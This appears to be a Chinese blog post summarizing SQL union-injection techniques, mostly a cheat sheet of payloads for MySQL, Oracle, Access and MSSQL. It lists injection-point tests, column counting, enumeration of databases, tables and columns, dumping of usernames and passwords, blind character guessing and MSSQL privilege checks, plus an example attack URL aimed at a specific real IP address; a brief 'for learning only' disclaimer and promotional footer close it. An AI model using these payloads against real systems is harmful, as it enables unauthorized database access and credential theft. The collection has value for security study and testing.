oracle中文字段名怎么查询_sql注入联合查询总结
點(diǎn)擊上方藍(lán)色字關(guān)注我們
聯(lián)合查詢注入利用的前提:
? ? ? ?? 前提條件:頁(yè)面上有顯示位
聯(lián)合注入的過(guò)程:
????????????1、判斷注入點(diǎn)
????????????2、判斷是整型還是字符型
????????????3、判斷查詢列數(shù)
????????????4、判斷顯示位
????????????5、獲取所有數(shù)據(jù)庫(kù)名
????????????6、獲取數(shù)據(jù)庫(kù)所有表名
????????????7、獲取字段名
????????????8、獲取字段中的數(shù)據(jù)
數(shù)據(jù)庫(kù)判斷:
1.用@@datadir查看數(shù)據(jù)庫(kù)安裝目錄,能否判斷出
2.通過(guò)各個(gè)數(shù)據(jù)庫(kù)特有的數(shù)據(jù)表來(lái)判斷:
mssql:and (select count(*) from sysobjects)>0 and 1=1Accese:and (select count(*) from msysobjects)>0 and 1=1mysql:and (select count(*) from information_schema.TABLES)>0 and 1=1 oracle:and (select count(*) from sys.user_tables)>0 and 1=1終極法寶 :報(bào)錯(cuò)信息!!!!!!!!!!
mysql注入:
注入判斷:
'"And 1=1ord(0x1)> \\/#--+-^1^0字段數(shù)判斷:
Order by 3 --獲取所有數(shù)據(jù)庫(kù)名:
select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA獲取表名:
Union select table_name from information_schema.tables where table_schema=database() --獲取字段名
Union select column_name from information_schema.columns where table_schema=table_name -查詢數(shù)據(jù):
union select 1,group_concat(concat_ws(char(32,58,32),first_name,password)) from users --內(nèi)置函數(shù):
拆解數(shù)據(jù)庫(kù)名:database() 用戶名:user() 版本:version() 或 @@version數(shù)據(jù)庫(kù)路徑:@@datadirmysql通過(guò)information_schema這個(gè)表查詢相應(yīng)的數(shù)據(jù)庫(kù)名,表名,字段名。
oracle注入:
獲取數(shù)據(jù)庫(kù)所有用戶:
SELECT username FROM all_users;SELECT name FROM sys.user$; -- 需要高權(quán)限獲取當(dāng)前數(shù)據(jù)庫(kù)用戶:
SELECT user FROM dual;字段數(shù)判斷:
order by 3 --and 1=2 union select null,null,null from dual--判斷子段的數(shù)據(jù)類型:
and 1=2 union select 'null',null,null from dual-- //返回正常,則第一個(gè)字段是字符型,返回錯(cuò)誤,為字符型數(shù)據(jù)庫(kù)信息:
and 1=2 union select null,(select banner from sys.v_$version where rownum=1),null from dual-- //探測(cè)數(shù)據(jù)庫(kù)版本信息查詢表名:
and 1=2 union select null,(select table_name from user_tables where rownum=1),null from dual-- //查詢第一個(gè)表名and 1=2 union select null,(select table_name from user_tables where rownum=1 and table_name<>'STUDENT'),null from dual-- //第二個(gè)表名查詢字段名:
and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1),null from dual-- //查看第一個(gè)字段名and?1=2?union?select?null,(select?column_name?from?user_tab_columns?where?table_name='[表名]'?and?rownum=1?and?column_name<>'[第一個(gè)字段名]'),null?from?dual--?//查看第二個(gè)字段名and 1=2 union select null,(select column_name from user_tab_columns where table_name='[表名]' and rownum=1 and column_name<>'[第一個(gè)字段名]' and column_name<>'[第二個(gè)字段名名]'),null from dual-- //查看第三個(gè)字段名查數(shù)據(jù):
and 1=2 union select id,name,pass from student where id=1-- //查看數(shù)據(jù)wmsys.wm_concat()等同于MySQL中的group_concat(),在11gr2和12C上已經(jīng)拋棄,可以用LISTAGG()替代
如果字符集不匹配:
則需要進(jìn)行字符集轉(zhuǎn)換:
cast('' as nvarchar2(10))
栗子:
http://59.63.200.79:8808/?id=-1%20union%20all%20select%20NULL,NULL,cast((select%20table_name%20from%20user_tables%20where%20rownum=1)%20as%20nvarchar2(10)),1%20from%20dual--%20-注意點(diǎn):
1. ?? Oracle 在使用union 查詢的跟Mysql不一樣Mysql里面我用1,2,3,4就能占位,而在Oracle里面有比較嚴(yán)格的類型要求。也就是說(shuō)你union select的要和前面的字段類型一樣,我們可以用null來(lái)代替站位。
2.??? Oracle和mysql不一樣,分頁(yè)中沒有l(wèi)imit,而是使用三層查詢嵌套的方式實(shí)現(xiàn)分頁(yè)(查詢第一條數(shù)據(jù)“>=0<=1”)?例如:
SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >= 0
3. ? ? ? Oracle的單行注釋符號(hào)是--,多行注釋符號(hào)/**/
Acess數(shù)據(jù)注入:
判斷字段:
order by 1 --+-判斷表:
聯(lián)合查詢表,回顯正常即為表存在,反之為不存在。
Union select * from 表名?? 或? 表名還可以使用這種方法來(lái)猜表名,
and 0<>(select count(*) from 表名)?
列名也只能靠猜,如果猜不到就只能使用偏移注入來(lái)碰運(yùn)氣了
and exists (select admin from admin)
and exists (select count(列名) from 表名)
爆字段內(nèi)容:
爆字段內(nèi)容要分兩步,先猜長(zhǎng)度,再猜內(nèi)容猜長(zhǎng)度。and (select len(admin) from admin)=5,如果正確則回顯正常。
猜內(nèi)容,一個(gè)一個(gè)字段的猜,和盲注一樣的道理。and (select asc(mid(admin,1,1)) from admin)>95,
and (select top 1 asc(mid(列名,列數(shù)N,1)) from 表名) > x
top后的數(shù)字為該列的第N行,x為ASCII碼,列數(shù)N就是在這一列中的第幾個(gè)數(shù)字
asc()仍然還是轉(zhuǎn)換為ascii碼的函數(shù),mid(admin,1,1)則為截取admin字段內(nèi)容的第一個(gè)字符的一個(gè)字符,也就為第一個(gè)字符。
MSSQL注入:
查詢當(dāng)前的用戶數(shù)據(jù)信息:
?id=1 having 1=1--+-猜表名:
?id=1 and exists(select * from tablename)?id=1 and (Select Count(*) from [表名])>0猜字段:
?id=1 and (Select Count(字段名) from 表名)>0爆當(dāng)前表中的列:
?id=1 group by admin.username having 1=1–-+-猜字段中記錄長(zhǎng)度:
?id=1 and (select top 1 len(字段名) from 表名)>0猜字段中的ascii值:
?id=1 and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 access?id=1 and (select top 1 unicode(substring(字段名,1,1)) from 數(shù)據(jù)庫(kù)名)>0查數(shù)據(jù):
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')測(cè)試權(quán)限結(jié)構(gòu)(mssql):
· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘sysadmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘serveradmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘setupadmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘securityadmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘diskadmin’));–· ?id=1 and 1=(SELECT IS_SRVROLEMEMBER(‘bulkadmin’));–· ?id=1 and 1=(SELECT IS_MEMBER(‘db_owner’));–mssql內(nèi)置函數(shù):
· ?id=1 and (select @@version)>0 獲得Windows的版本號(hào)· ?id=1 and user_name()=’dbo’ 判斷當(dāng)前系統(tǒng)的連接用戶是不是sa· ?id=1 and (select user_name())>0 爆當(dāng)前系統(tǒng)的連接用戶· ?id=1 and (select db_name())>0 得到當(dāng)前連接的數(shù)據(jù)庫(kù)為了安全請(qǐng)將工具放在虛擬機(jī)運(yùn)行!
作者不易!請(qǐng)點(diǎn)一下關(guān)注在走吧!
此文章僅供學(xué)習(xí)參考,不得用于違法犯罪!
轉(zhuǎn)載此文章,請(qǐng)標(biāo)明出處。
關(guān)注此公眾號(hào),各種福利領(lǐng)不停,每天一個(gè)hacker小技巧輕輕松松學(xué)習(xí)hacker技術(shù)!掃碼領(lǐng)hacker資料,常用工具,以及各種福利
新人創(chuàng)作打卡挑戰(zhàn)賽發(fā)博客就能抽獎(jiǎng)!定制產(chǎn)品紅包拿不停!總結(jié)
以上是生活随笔為你收集整理的oracle中文字段名怎么查询_sql注入联合查询总结的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: python numpy 生成矩阵_Py
- 下一篇: python字符串前面加u_Python